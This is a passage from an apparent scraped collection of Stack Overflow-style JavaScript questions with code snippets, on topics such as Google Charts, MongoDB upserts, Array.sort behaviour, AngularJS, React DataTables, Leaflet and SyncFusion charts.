array and trying to pull out the values so it is in the following format for Google Charts : I can not get it into this format and am struggling to find ways to do so , so then I can then insert this information into my multidimensional array for Google tables and generate a report.The current code I have so far is : Which outputs the following multidimensional array : The idea is I need the multidimensional data array to eventually look like ( Note header can be changed in code its just due to the current amount of values am working with to build it up ) : [ [ 'ANSWERED ' , '477 ' , 728 ] , [ 'BUSY ' , '477 ' , 48 ] , [ 'NO ANSWER ' , '477 ' , 277 ] , [ 'ANSWERED ' , '478 ' , 88 ] , [ 'BUSY ' , '478 ' , 24 ] , [ 'NO ANSWER ' , '478 ' , 56 ] ] [ [ '477 ' , 728 , 48 , 277 ] , [ '478',88 , 24 , 56 ] ] socket.on ( `` SQL '' , function ( valueArr ) { google.charts.load ( 'current ' , { packages : [ 'corechart ' ] } ) ; google.charts.setOnLoadCallback ( drawMaterial ) ; function drawMaterial ( ) { var data = [ ] ; var Header = [ 'Call Disposition ' , 'Answered ' ] ; data.push ( Header ) ; for ( i in valueArr ) { var index = 0 ; var foundIndex = false ; var agent = valueArr [ i ] [ 1 ] ; var callcount = valueArr [ i ] [ 2 ] ; for ( var i in data ) { var dataElem = data [ i ] ; if ( dataElem [ 0 ] === agent ) { index = i ; foundIndex = true ; data [ index ] [ i ] = callcount ; } } if ( foundIndex === false ) { var chanar = new Array ( agent ) ; data.push ( chanar ) ; } } console.log ( data ) ; var options = { title : 'Call Disposition ' , hAxis : { title : 'Agents ' , minValue : 0 , } , vAxis : { title : 'Disposition Number ' } , isStacked : true } ; var chartdata = new google.visualization.arrayToDataTable ( data ) ; var material = new google.visualization.ColumnChart ( document.getElementById ( 'chart ' ) ) ; material.draw ( chartdata , options ) ; } } ) ; [ [ 'Call Disposition ' , 'Answered ' ] , [ '477',277 ] ] [ [ 'Call Disposition ' , 'Answered ' , 'Busy ' , 'Failed ' ] , [ '477 ' , 728 , 48 , 277 ] , [ '478',88 , 24 , 56 ] ]",Loop Multidimensional array to generate Multidimensional Array for Google Charts "JS : I have a Bootstrap modal where you can select a date . In the background , hidden fields are populated that are also submitted with the form.The issue is that when you select the datepicker element , it removes the hidden value for some strange reason ( but only the hidden values populated by the Javascript ) .Datepicker JS : Hidden field Populating JS : Hidden HTML element : When the Modal box initially pops up , I can see the hidden value field is populated , but when I click the datepicker , it 's removed . Why is this ? var date = new Date ( ) ; date.setDate ( date.getDate ( ) ) ; $ ( ' # datepicker ' ) .datepicker ( { format : `` dd/mm/yyyy '' , startDate : date , autoclose : true , } ) ; $ ( function ( ) { $ ( ' # appointment ' ) .on ( `` show.bs.modal '' , function ( e ) { $ ( `` # request_id '' ) .val ( $ ( e.relatedTarget ) .data ( 'request-id ' ) ) ; } ) ; } ) ; < input type= '' hidden '' name= '' request_id '' id= '' request_id '' value= '' '' >",Javascript added HTML value is removed when datepicker is selected "JS : Use Case : I 'm consuming a REST Api which provides battle results of a video game . It is a team vs team online game and each team consists of 3 players who can pick different one from 100 different characters . I want to count the number of wins / losses and draws for each team combination . I get roughly 1000 battle results per second . I concatenate the character ids ( ascending ) of each team and then I save the wins/losses and draws for each combination.My current implementation : For each returned log I perform an upsert and send these queries in bulk ( 5-30 rows ) to MongoDB : My problem : As long as I just have a few thousand entries in my collection combinationStats mongodb takes just 0-2 % cpu . Once the collection has a couple million documents ( which happens pretty quickly due to the amount of possible combinations ) MongoDB constantly takes 50-100 % cpu . Apparently my approach is not scalable at all.My question : Either of these options could be a solution to my above defined problem : Can I optimize the performance of my MongoDB solution described above so that it does n't take that much CPU ? ( I already indexed the fields I filter on and I perform upserts in bulk ) . Would it help to create a hash ( based on all my filter fields ) which I could use for filtering the data then to improve performance ? Is there a better database / technology suited to aggregate such data ? I could imagine a couple more use cases where I want/need to increment a counter for a given identifier.Edit : After khang commented that it might be related to the upsert performance I replaced my $ inc with a $ set and indeed the performance was equally `` poor '' . Hence I tried the suggested find ( ) and then manually update ( ) approach but the results did n't become any better . const combinationStatsSchema : Schema = new Schema ( { combination : { type : String , required : true , index : true } , gameType : { type : String , required : true , index : true } , wins : { type : Number , default : 0 } , draws : { type : Number , default : 0 } , losses : { type : Number , default : 0 } , totalGames : { type : Number , default : 0 , index : true } , battleDate : { type : Date , index : true , required : true } } ) ; const filter : any = { combination : log.teamDeck , gameType , battleDate } ; if ( battleType === BattleType.PvP ) { filter.arenaId = log.arena.id ; } const update : { } = { $ inc : { draws , losses , wins , totalGames : 1 } } ; combiStatsBulk.find ( filter ) .upsert ( ) .updateOne ( update ) ;",Upsert performance decreases with a growing collection ( number of documents ) "JS : ProblemLet 's make a basic list and sort it to make sure that 2 is ALWAYS first in the list . Simple enough , right ? Chrome result : ✓ [ 2 , 1 , 3 ] Node result : X [ 1 , 2 , 3 ] In order to get this behaviour in Node , you could - weirdly enough - look at the b parameter and make it return 1 if it 's 2 : With this implementation you get the opposite result ; Chrome will be [ 1 , 2 , 3 ] and Node will be [ 2 , 1 , 3 ] .QuestionsDo you have a logical explaination for this behaviour ? Is my sorting function conceptually flawed ? If so , how would you write this sorting behaviour ? [ 1 , 2 , 3 ] .sort ( ( a , b ) = > { if ( a === 2 ) return -1 ; return 0 ; } ) ; [ 1 , 2 , 3 ] .sort ( ( a , b ) = > { if ( b === 2 ) return 1 ; return 0 ; } ) ;",Why is this Array.sort behaviour different in Chrome vs Node.js "JS : Getting a strange problem when loading the twitter widget asynchronously on IE . It loads just fine , but for some reason does n't apply any style ( color , background are blank/default ) only on IE ( 7,8,9 ) .Loading the script the standard way works also in IE.The code looks like this and works on all browsers ( including IE , but without the style ) You can see this live on this link.It loses the style on IE even when set to chucknorris . < div id= '' twitter_div '' > < /div > < script > jQuery ( window ) .load ( function ( ) { jQuery ( ' < link rel= '' stylesheet '' type= '' text/css '' href= '' http : //widgets.twimg.com/j/2/widget.css '' > ' ) .appendTo ( `` head '' ) ; jQuery.getScript ( 'http : //widgets.twimg.com/j/2/widget.js ' , function ( ) { var twitter = new TWTR.Widget ( { id : 'twitter_div ' , version : 2 , type : 'profile ' , rpp : 4 , interval : 6000 , width : 'auto ' , height : 300 , theme : { shell : { background : ' # add459 ' , color : ' # 382638 ' } , tweets : { background : ' # ffffff ' , color : ' # 141114 ' , links : ' # 4aed05 ' } } , features : { scrollbar : false , loop : false , live : false , hashtags : true , timestamp : true , avatars : false , behavior : 'all ' } } ) .render ( ) .setUser ( 'chucknorris ' ) .start ( ) ; } ) } ) < /script >",The chuck norris twitter widget is losing style on IE "JS : I have a photo gallery powered by Isotope.Images are requested from external resource on page load and every time a user scrolls to the bottom of the page . New images are to be appended to the current isotope layout . The problem is with Isotope - it does n't seem to execute the 'appended ' method.Searching for a solution on StackExchange and Google revealed I am not the only one having this problem . I have been tinkering with this for past couple of days and tried almost every solution I could find but so far I have not found anything that could fix my problem.CodePen : I have created a CodePen here - http : //codepen.io/Writech/pen/pBoEtWebPage : As the custom event 'resizestop ' is not working in codepen the same code is found as a webpage here - http : //writech.net.ee/sandbox/To see the problem open the CodePen or WebPage provided above and scroll to the bottom of the page which initiates loading of additional images . Then you see the new images are just appended to the container by jQuery . But they are not appended to the isotope layout instance as they are supposed to.The problematic part lays in a custom function named isotopeAppend ( ) . This function is called on page load and then the second part of 'if-else ' statement is executed . When initialization is done and first images are added to the container then the next time isotopeAppend ( ) is called ( it 's when user reaches to the bottom of the page ) the first part of 'if-else ' statement is executed and this is where the problematic Isotope 'appended ' method is called.A code snippet below from problematic javascript code . The results of the ajax request to external resource are applied to the variable newElems . When adding an alert ( 'something ' ) or console.log inside the 'appended ' callback - nothing happens.Does the problem lay in Isotope itself or does it have anything to do with my coding error ? I would really like to find a solution for this ! var elements = $ ( newElems ) .css ( { opacity : 1 , 'width ' : columnWidthVar + 'px ' } ) ; $ ( ' # photos_section_container ' ) .append ( elements ) ; $ ( ' # photos_section_container ' ) .imagesLoaded ( function ( ) { $ ( ' # photos_section_container ' ) .isotope ( 'appended ' , elements , function ( ) { hideLoader ( function ( ) { elements.animate ( { opacity : 1 } ) ; } ) ; } ) ; } ) ;",Isotope appending does n't seem to work "JS : I have contenteditable div with following HTML in itWhen I want to enter extra text into it , when I enter any key it is adding lot of & nbsp ; at the end of the div being made.This gif shows what 's happening : http : //g.recordit.co/l8m6IQwmNb.gifThis is what happens when I entered one letter nHere as you can see there is a lot of & nbsp ; here , how can I solve this issue ? I tried this in safari , same issue so this is not related to a browser at all.Also , there are no event listeners attached to this div.Any help appreciated , thanks.EDITI 'm using meteor js framework and this is the html code i 'm using to generate this htmlmy items helper just returns values from db , there are no event listeners attached to this < div contenteditable= '' true '' class= '' editor-note '' id= '' FqzHgBZeHHT3QECD2 '' > < span id= '' mSFK7wMphfKgBaCQg '' > Well < /span > < span id= '' 8jHKJyhFfqHw9WPpR '' > over < /span > < span id= '' EGmCtEKaiPJkMKGSE '' > one < /span > < span id= '' soDGqwvxvmzg9hF5W '' > , < /span > < span id= '' uTEWcPrqoq9tZGYnK '' > my < /span > < span id= '' 8HQEjMNKLiv6XJkqp '' > guest < /span > < span id= '' bYzzWYq5P4jTHLQ4S '' > today < /span > < span id= '' uey8ghQ4yNN62aY8J '' > is < /span > < /div > < div contenteditable= '' true '' class= '' editor-note '' id= '' FqzHgBZeHHT3QECD2 '' > < span id= '' mSFK7wMphfKgBaCQg '' > Well < /span > < span id= '' 8jHKJyhFfqHw9WPpR '' > over < /span > < span id= '' EGmCtEKaiPJkMKGSE '' > one < /span > < span id= '' soDGqwvxvmzg9hF5W '' > , < /span > < span id= '' uTEWcPrqoq9tZGYnK '' > my < /span > < span id= '' 8HQEjMNKLiv6XJkqp '' > guest < /span > < span id= '' bYzzWYq5P4jTHLQ4S '' > today < /span > < span id= '' uey8ghQ4yNN62aY8J '' > is < /span > & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; n < /div > < div class= '' seg-editor '' > < div contenteditable= '' true '' class= '' editor-note '' id= '' { { segmentId } } '' > { { # each items } } < span id= '' { { _id } } '' > { { text } } < /span > { { /each } } < /div > < /div >",contenteditable adding multiple spaces at the end on key press "JS : I 've been working with AngularJS and integrated JQuery library in my project.I am using JQuery 's $ .each ( ) function to loop through my class . I want to create an array of objects out of it just like the format below : HTMLJS ControllerThe main problem here is that I get the same values for all the json objects inside the array . It seems that only the last input values are being created as an object and the it pushes it to the array 5 times.. [ { `` invoice_no '' : '' value1 '' , `` brand '' : '' value2 '' , `` model '' : '' value3 '' } , { `` invoice_no '' : '' value1 '' , `` brand '' : '' value2 '' , `` model '' : '' value3 '' } , { `` invoice_no '' : '' value1 '' , `` brand '' : '' value2 '' , `` model '' : '' value3 '' } , { `` invoice_no '' : '' value1 '' , `` brand '' : '' value2 '' , `` model '' : '' value3 '' } , { `` invoice_no '' : '' value1 '' , `` brand '' : '' value2 '' , `` model '' : '' value3 '' } , ] < div class= '' panels '' > < input class= '' form-control '' name= '' invoice_no '' > < input class= '' form-control '' name= '' brand '' > < input class= '' form-control '' name= '' model '' > < /div > < div class= '' panels '' > < input class= '' form-control '' name= '' invoice_no '' > < input class= '' form-control '' name= '' brand '' > < input class= '' form-control '' name= '' model '' > < /div > < div class= '' panels '' > < input class= '' form-control '' name= '' invoice_no '' > < input class= '' form-control '' name= '' brand '' > < input class= '' form-control '' name= '' model '' > < /div > < div class= '' panels '' > < input class= '' form-control '' name= '' invoice_no '' > < input class= '' form-control '' name= '' brand '' > < input class= '' form-control '' name= '' model '' > < /div > < div class= '' panels '' > < input class= '' form-control '' name= '' invoice_no '' > < input class= '' form-control '' name= '' brand '' > < input class= '' form-control '' name= '' model '' > < /div > $ scope.saveData = function ( ) { var arrayOFProducts = [ ] ; var object = { } ; angular.element ( '.panels ' ) .each ( function ( ) { $ ( this ) .find ( '.form-control ' ) .each ( function ( ) { var key = $ ( this ) .attr ( 'name ' ) ; var value = $ ( this ) .val ( ) ; object [ key ] = value ; } ) ; arrayOFProducts.push ( object ) ; } ) ; console.log ( arrayOFProducts ) ; }",AngularJS and JQuery $ .each ( ) function only returns the last loop value "JS : There is a lot of information on how to handle errors when using promise.all ( ) using catch but what I 'm trying to achieve is to handle every time a promise inside of this promise.all ( ) resolves . The reason I 'm trying to do this is because I am attempting to setup a custom progress bar in console and I need to call the tick method every time a promise is resolved.I 'm trying to figure out a way of being able to call the bar.tick ( ) method when each individual promise resolves . this.getNewSources = function ( ) { var bar = new ProgressBar ( ' : bar ' , { total : this.getSourceMap ( ) .size } ) ; var timer = setInterval ( function ( ) { bar.tick ( ) ; if ( bar.complete ) { console.log ( '\ncomplete\n ' ) ; clearInterval ( timer ) ; } } , 100 ) ; let promiseArr = [ ] ; for ( let x of this.getSourceMap ( ) .values ( ) ) { promiseArr.push ( this.requestArticles ( x.getName ( ) , x.getCat ( ) , x.getKey ( ) ) ) ; } return Promise.all ( promiseArr ) .then ( ( ) = > { console.log ( `` Articles loaded this round : `` + this.articles.size ) ; console.log ( 'all sources updated ' ) ; this.loadedArticles = true ; console.log ( this.articleCount ) ; console.log ( this.articles.size ) ; } ) .catch ( e = > { console.log ( e ) ; } ) ; } ;",Handle promise resolves indvidually in promise.all ( ) "JS : I 'm sending some information via AJAX to a PHP-Script to get some text , which should be displayed . So far there is no problem . But if the user is logged out , the result would be false and a modal with a login-form is shown.If the user gets logged in , the first information ( var data ) should be send one more time , as the first sending was n't accepted . The showModal function is also connected to an ajax request , so the user is getting logged in ... After that the first data should be send one more time ... $ .ajax ( { url : `` script.php '' , type : `` POST '' , data : data , dataType : `` json '' } ) .done ( function ( json ) { if ( json.result === false ) { showModal ( `` login '' ) ; return ; } else { $ ( ' # result ' ) .html ( json.result ) ; } } ) ; function showModal ( ) { $ ( 'body ' ) .append ( ' < form > ... ' ) ; // Show Modal with form to login } // With submit form , the user will be logged in $ ( 'body ' ) .on ( 'submit ' , ' # loginform ' , function ( event ) { $ .ajax ( { url : `` login.php '' , type : `` POST '' , data : { 'username ' : username , 'password ' : password } , dataType : `` json '' } ) .done ( function ( json ) { // User is now logged in // Now repeat first request } ) ; } ) ;",Repeating an AJAX request after login "JS : I 'd like to transclude content as such that it acts as if I copy-pasted the content into the file where I write my < div data-ng-transclude= '' '' > . How do I do this ? I know I can use ng-include to include a template , and I can use script tags to define a template . But this clutters the template cache and pollutes the template namespace.I want to do this so that I can have one ( or more ! That 's the whole point ) file in which I define the way I want to display my items , and one file in which I define the way the list 's structure works.This works if I do something like this : with a list structure like so ... But , like I said , it clutters the template cache.If I transclude the content , then it stops working , as the transcluded content is evaluated with the scope of the directive that contains the < div data-item-list= '' '' . That is , `` item '' does not exist . How can I make it so that the transcluded content is evaluated with the scope of the directive that is including the transcluded content ? < ! -- list directive to show the items -- > < div data-item-list= '' '' data-values= '' vm.items '' > < ! -- content to include to display list items -- > < div class= '' form-relation-picker-value '' ng-bind= '' item.value.title '' > < /div > < div class= '' form-relation-picker-subtitle '' ng-bind= '' item.value.subTitle '' > < /div > < /div > < div class= '' list-container '' > < div class= '' list-item '' data-ng-click= '' vm.select ( item ) '' data-ng-repeat= '' item in vm.items | orderBy : vm.orderBy '' data-selected= '' { { vm.isSelected ( item ) } } '' > < div class= '' flex '' > < div ng-transclude= '' '' > < /div > < ! -- item display via transclude -- > < div class= '' grid-col flex-icon form-relation-picker-chrome-height-fix '' > < div data-ng-show= '' vm.isSelected ( item ) '' class= '' icon check '' > < /div > < /div > < /div > < /div > < /div > < div data-item-list= '' '' data-values= '' vm.items '' data-template-to-use= '' randomhash '' > < script type= '' text/ng-template '' id= '' randomhash '' > < div class= '' form-relation-picker-value '' ng-bind= '' item.value.title '' > < /div > < div class= '' form-relation-picker-subtitle '' ng-bind= '' item.value.subTitle '' > < /div > < /script > < /div > < div class= '' list-container '' > < div class= '' list-item '' data-ng-click= '' vm.select ( item ) '' data-ng-repeat= '' item in vm.items | orderBy : vm.orderBy '' data-selected= '' { { vm.isSelected ( item ) } } '' > < div class= '' flex '' > < div data-ng-include= '' vm.templateToUse '' > < /div > < div class= '' grid-col flex-icon form-relation-picker-chrome-height-fix '' > < div data-ng-show= '' vm.isSelected ( item ) '' class= '' icon check '' > < /div > < /div > < /div > < /div > < /div >",How to make ng-transclude behave like ng-include ( in terms of scope ) ? "JS : It seems as though I am finally understanding JavaScript inheritance and how it should be done properly . Here is my code : From what I understand , using Object.create to create your prototype object for inheritance is much better than using the new keyword . This raises a couple questions in my head.In the Male.prototype = Object.create ( Human.prototype ) would the prototype chain be Male.prototype -- > Human.prototype -- > Object.prototype -- > null ? In the Male constructor where I use Human.call ( this , eyes ) ; to call a super class , I have to pass eyes again in the Male constructor to pass it to the Human constructor . This seems like a pain , is there an easier way to do this ? How come sometimes I see code like Male.prototype = new Human ( ) ; ... This seems to be incorrect . What is actually happening when we do that ? ? function Human ( eyes ) { this.eyes = eyes ? `` Not blind '' : `` Blind '' ; } Human.prototype.canSee = function ( ) { return this.eyes ; } ; function Male ( name , eyes ) { Human.call ( this , eyes ) ; this.name = name ; } Male.prototype = Object.create ( Human.prototype ) ; var Sethen = new Male ( `` Sethen '' , true ) ; console.log ( Sethen.canSee ( ) ) ; //logs `` Not blind ''",JavaScript and prototype inheritance "JS : I 'm moving some elements in the page using ng-repeat and CSS transitions . If I change the data array using unshift the list transitions nicely . ( In my application I 'm transitioning position as well as opacity . ) If , however , I use shift to update the array , the DOM is updated immediately with no transition . Here 's a demo of one approach , where all works as expected aside from the transitions . Compare the behavior when using the two buttons.Here 's another demo of an alternative approach , where the transitions work , but the array loses an element each time the function runs . The idea is that the user can cycle through the items in the array indefinitely and the CSS transitions occur in both directions . What seems to be the issue is that AngularJS updates the DOM in one case , but not in the other , though I was n't able to demonstrate that in my testing . Also , based on some reading I did I tried using track by item.id with no success . Thanks much . $ scope.items.push ( $ scope.items.shift ( ) ) ; $ scope.items.shift ( $ scope.items.push ( ) ) ;",Why do CSS transitions occur for unshift ( ) and not for shift ( ) in ng-repeat lists ? "JS : I initialized Jquery Datatables in my react app and it works perfectly fine , except that the buttons are n't showing up.Here 's my code : I tried this at first and it works but it does n't display the buttons.Next , I tried the code below as well , the error it throws did n't allow my react app to render . It complained about this Uncaught TypeError : Can not set property ' $ ' of undefined at DataTableFinally , how I initialize my datatable : I came across a similar question Datatables button through React App , but it did n't solve my problem . Without the buttons to export into excel the whole purpose of my using this plugin is defeated . Can I get a little help ? import $ from 'jquery ' ; import JSZip from 'jszip ' ; window.JSZip = JSZip ; import 'datatables.net-bs4 ' ; import 'datatables.net-responsive ' ; import 'datatables.net-buttons-bs4 ' ; import 'datatables.net-buttons/js/buttons.colVis ' ; import 'datatables.net-buttons/js/buttons.html5 ' ; import 'datatables.net-buttons/js/buttons.flash ' ; import 'datatables.net-buttons/js/buttons.print ' ; import $ from 'jquery ' ; const JSZip = require ( 'jszip ' ) ; window.JSZip = JSZip ; require ( 'datatables.net ' ) ( ) ; require ( 'datatables.net-responsive ' ) ( ) ; require ( 'datatables.net-buttons ' ) ( ) ; require ( 'datatables.net-buttons/js/buttons.colVis ' ) ( ) ; require ( 'datatables.net-buttons/js/buttons.html5 ' ) ( ) ; require ( 'datatables.net-buttons/js/buttons.print ' ) ( ) ; var table = $ ( ' # dynamic_table ' ) .DataTable ( { 'lengthChange ' : false , 'buttons ' : [ 'copy ' , 'excel ' , 'pdf ' , 'colvis ' ] , } ) ; table.buttons ( ) .container ( ) .appendTo ( ' # dynamic_table_wrapper .col-md-6 : eq ( 0 ) ' ) ;",Jquery Datatable Buttons Not Showing Up On React js "JS : I have created a custom path renderer that draws an arrow between the nodes in my d3 graph as shown in the snippet . I have one last issue I am getting stuck on , How would I rotate the arrow portion so that it is pointing from the direction of the curve instead of the direction of the source ? var w2 = 6 , ar2 = w2 * 2 , ah = w2 * 3 , baseHeight = 30 ; // Arrow functionfunction CurvedArrow ( context , index ) { this._context = context ; this._index = index ; } CurvedArrow.prototype = { areaStart : function ( ) { this._line = 0 ; } , areaEnd : function ( ) { this._line = NaN ; } , lineStart : function ( ) { this._point = 0 ; } , lineEnd : function ( ) { if ( this._line || ( this._line ! == 0 & & this._point === 1 ) ) { this._context.closePath ( ) ; } this._line = 1 - this._line ; } , point : function ( x , y ) { x = +x , y = +y ; // jshint ignore : line switch ( this._point ) { case 0 : this._point = 1 ; this._p1x = x ; this._p1y = y ; break ; case 1 : this._point = 2 ; // jshint ignore : line default : var p1x = this._p1x , p1y = this._p1y , p2x = x , p2y = y , dx = p2x - p1x , dy = p2y - p1y , px = dy , py = -dx , pr = Math.sqrt ( px * px + py * py ) , nx = px / pr , ny = py / pr , dr = Math.sqrt ( dx * dx + dy * dy ) , wx = dx / dr , wy = dy / dr , ahx = wx * ah , ahy = wy * ah , awx = nx * ar2 , awy = ny * ar2 , phx = nx * w2 , phy = ny * w2 , //Curve figures alpha = Math.floor ( ( this._index - 1 ) / 2 ) , direction = p1y < p2y ? -1 : 1 , height = ( baseHeight + alpha * 3 * ar2 ) * direction , // r5 //r7 r6|\ // -- -- -- -- -- -- \ // ____________ /r4 //r1 r2|/ // r3 r1x = p1x - phx , r1y = p1y - phy , r2x = p2x - phx - ahx , r2y = p2y - phy - ahy , r3x = p2x - awx - ahx , r3y = p2y - awy - ahy , r4x = p2x , r4y = p2y , r5x = p2x + awx - ahx , r5y = p2y + awy - ahy , r6x = p2x + phx - ahx , r6y = p2y + phy - ahy , r7x = p1x + phx , r7y = p1y + phy , //Curve 1 c1mx = ( r2x + r1x ) / 2 , c1my = ( r2y + r1y ) / 2 , m1b = ( c1mx - r1x ) / ( r1y - c1my ) , den1 = Math.sqrt ( 1 + Math.pow ( m1b , 2 ) ) , mp1x = c1mx + height * ( 1 / den1 ) , mp1y = c1my + height * ( m1b / den1 ) , //Curve 2 c2mx = ( r7x + r6x ) / 2 , c2my = ( r7y + r6y ) / 2 , m2b = ( c2mx - r6x ) / ( r6y - c2my ) , den2 = Math.sqrt ( 1 + Math.pow ( m2b , 2 ) ) , mp2x = c2mx + height * ( 1 / den2 ) , mp2y = c2my + height * ( m2b / den2 ) ; this._context.moveTo ( r1x , r1y ) ; this._context.quadraticCurveTo ( mp1x , mp1y , r2x , r2y ) ; this._context.lineTo ( r3x , r3y ) ; this._context.lineTo ( r4x , r4y ) ; this._context.lineTo ( r5x , r5y ) ; this._context.lineTo ( r6x , r6y ) ; this._context.quadraticCurveTo ( mp2x , mp2y , r7x , r7y ) ; break ; } } } ; var w = 600 , h = 220 ; var t0 = Date.now ( ) ; var points = [ { R : 100 , r : 3 , speed : 2 , phi0 : 190 } ] ; var path = d3.line ( ) .curve ( function ( ctx ) { return new CurvedArrow ( ctx , 1 ) ; } ) ; var svg = d3.select ( `` svg '' ) ; var container = svg.append ( `` g '' ) .attr ( `` transform '' , `` translate ( `` + w / 2 + `` , '' + h / 2 + `` ) '' ) container.selectAll ( `` g.planet '' ) .data ( points ) .enter ( ) .append ( `` g '' ) .attr ( `` class '' , `` planet '' ) .each ( function ( d , i ) { d3.select ( this ) .append ( `` circle '' ) .attr ( `` r '' , d.r ) .attr ( `` cx '' , d.R ) .attr ( `` cy '' , 0 ) .attr ( `` class '' , `` planet '' ) ; } ) ; container.append ( `` path '' ) ; var planet = d3.select ( '.planet circle ' ) ; d3.timer ( function ( ) { var delta = ( Date.now ( ) - t0 ) ; planet.attr ( `` transform '' , function ( d ) { return `` rotate ( `` + d.phi0 + delta * d.speed / 50 + `` ) '' ; } ) ; var g = document.createElementNS ( `` http : //www.w3.org/2000/svg '' , `` g '' ) ; g.setAttributeNS ( null , `` transform '' , planet.attr ( 'transform ' ) ) ; var matrix = g.transform.baseVal.consolidate ( ) .matrix ; svg.selectAll ( `` path '' ) .attr ( 'd ' , function ( d ) { return path ( [ [ 0 , 0 ] , [ matrix.a * 100 , matrix.b * 100 ] ] ) } ) ; } ) ; path { stroke : # 11a ; fill : # eee ; } < script src= '' https : //d3js.org/d3.v4.min.js '' > < /script > < svg width= '' 600 '' height= '' 220 '' > < /svg >",How do I draw an arrow between two points in d3v4 ? "JS : I 'm trying to create a function that will create a new marker . I need to be able to process some of the properties of the new marker in the callback . The problem is that marker is immediately created and can be used to invoke the callback , but some properties are not yet available.If I wait two seconds before trying to access the properties , it works just fine - this leads me to believe that the object is still asynchronously generating itself after being created.In this example the callback : yields the correct response . But the callback that does n't wait shows an undefined error : I 'm using a the Google Maps Javascript API library here , and messing with the google.maps stuff is n't an option for obvious reasons . I want to pass the entire object to the callback but I need to ensure that the latLng information ( marker.Xg.Oa ) exists before invoking it . How can I ensure that it 's there before invoking the callback ? < ! DOCTYPE html > < html > < head > < meta name= '' viewport '' content= '' initial-scale=1.0 , user-scalable=no '' > < meta charset= '' utf-8 '' > < title > Simple markers < /title > < style > html , body { height : 100 % ; margin : 0 ; padding : 0 ; } # map { height : 100 % ; } < /style > < /head > < body > < div id= '' map '' > < /div > < script > function initMap ( ) { var latLng = new google.maps.LatLng ( -25.363 , 131.044 ) ; var map = new google.maps.Map ( document.getElementById ( 'map ' ) , { zoom : 4 , center : latLng } ) ; function placeMarker ( map , latLng , callback , callback2 ) { var marker = new google.maps.Marker ( { position : latLng , map : map } ) ; callback ( marker ) ; callback2 ( marker ) ; } placeMarker ( map , latLng , function ( marker ) { setTimeout ( function ( ) { console.log ( marker.Xg.Oa ) } , 2000 ) ; } , function ( marker ) { console.log ( marker.Xg.Oa ) ; } ) ; } < /script > < script async defer src= '' https : //maps.googleapis.com/maps/api/js ? signed_in=true & callback=initMap '' > < /script > < /body > < /html > setTimeout ( function ( ) { console.log ( marker.Xg.Oa ) } , 2000 ) ; function ( marker ) { console.log ( marker.Xg.Oa ) ; }",How can I wait for an asynchronously created object to be completely available before invoking a callback ? "JS : I have a React-Leaflet map which I am rendering a div inside.For some reason , interacting with the contents of the div causes the map beneath to respond ( eg : double-clicking will zoom the map , dragging will pan the map ) - even when I 'm calling e.stopPropagation ( ) in handlers attached to the div.As I understand it , calling stopPropagation ( ) should prevent the DOM events from ever reaching the map itself.Why does it appear that stopPropagation ( ) is being ignored ? How can I render a div inside the map without it 's events bubbling to the map itself ? Here is an example codepen showing the problem . import { Map , TileLayer } from 'react-leaflet ' ; const MyMap = props = > ( < Map zoom= { 13 } center= { [ 51.505 , -0.09 ] } > < TileLayer url= { `` http : // { s } .tile.osm.org/ { z } / { x } / { y } .png '' } / > { /* HOW do I get this div to NOT pass it 's events down to the map ? ! ? ! Why does e.stopPropagation ( ) appear to not work ? */ } < div id= '' zone '' onClick= { e = > e.stopPropagation ( ) } onMouseDown= { e = > e.stopPropagation ( ) } onMouseUp= { e = > e.stopPropagation ( ) } > < p > Double-click or click and drag inside this square < /p > < p > Why does the map zoom/pan ? < /p > < /div > < /Map > ) ; ReactDOM.render ( < MyMap / > , document.getElementById ( 'root ' ) ) ;",How to prevent event bubbling on child of React-Leaflet Map "JS : If I have the following string : How can I replace the substring `` false+5+3 '' with `` true '' using REGEX ? Thanks in advance ! ! ! var str = `` Test.aspx ? ID=11 & clicked=false+5+3 '' ; str = str.replace ( ? ? ? ? ? ? ? ? , 'true ' ) ;",Javascript regex replace function "JS : I 'm using SyncFusion for Javascript to render charts in my app . I have a StepChart with several series , continuous X axis and unequal intervals between data points . I want to show a tooltip with description when user hovers certain point . But it does n't work as expected . Sometimes tooltips are shown for the wrong points , and for some points they are not shown at all.It seem 's there 's some clever algorithm that decides what tooltip should be shown for each area ... Unfortunately , it does n't work for me . It would be enough just to show tooltip when user 's mouse is exactly over the dot ( as my dots are quite big ) .Any help is appreciated ! $ ( function ( ) { $ ( `` # container '' ) .ejChart ( { primaryXAxis : { valueType : 'datetime ' , range : { min : new Date ( 1422874800000 ) , max : new Date ( 1422878400000 ) , interval : 5 } , intervalType : 'Minutes ' } , primaryYAxis : { title : { text : 'Value ' } , range : { min : 0 , max : 300 } } , commonSeriesOptions : { type : 'stepline ' , enableAnimation : true , marker : { shape : 'circle ' , size : { height : 12 , width : 12 } , visible : true } , border : { width : 2 } , tooltip : { visible : true , format : `` # point.x # < br/ > # series.name # value is # point.y # `` } } , series : [ { `` name '' : `` Line 1 '' , `` enableAnimation '' : false , `` points '' : [ { `` x '' : new Date ( 1422874800000 ) , `` y '' : 100 } , { `` x '' : new Date ( 1422875280000 ) , `` y '' : 160 } , { `` x '' : new Date ( 1422875520000 ) , `` y '' : 200 } , { `` x '' : new Date ( 1422876180000 ) , `` y '' : 200 } ] } , { `` name '' : `` Line 2 '' , `` enableAnimation '' : false , `` points '' : [ { `` x '' : new Date ( 1422874800000 ) , `` y '' : 50 } , { `` x '' : new Date ( 1422875400000 ) , `` y '' : 170 } , { `` x '' : new Date ( 1422875880000 ) , `` y '' : 180 } , { `` x '' : new Date ( 1422876180000 ) , `` y '' : 180 } ] } , { `` name '' : `` Line 3 '' , `` enableAnimation '' : false , `` points '' : [ { `` x '' : new Date ( 1422874800000 ) , `` y '' : 120 } , { `` x '' : new Date ( 1422874980000 ) , `` y '' : 140 } , { `` x '' : new Date ( 1422875400000 ) , `` y '' : 240 } , { `` x '' : new Date ( 1422875880000 ) , `` y '' : 260 } , { `` x '' : new Date ( 1422876180000 ) , `` y '' : 260 } ] } ] , canResize : true , title : { text : 'Step Chart ' } , legend : { visible : true } } ) ; } ) ; < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/1.10.1/jquery.min.js '' > < /script > < script src= '' http : //js.syncfusion.com/demos/web/scripts/jquery.globalize.min.js '' > < /script > < link href= '' http : //js.syncfusion.com/demos/web/themes/ej.widgets.core.min.css '' rel= '' stylesheet '' / > < link href= '' http : //js.syncfusion.com/demos/web/themes/default.css '' rel= '' stylesheet '' / > < link href= '' http : 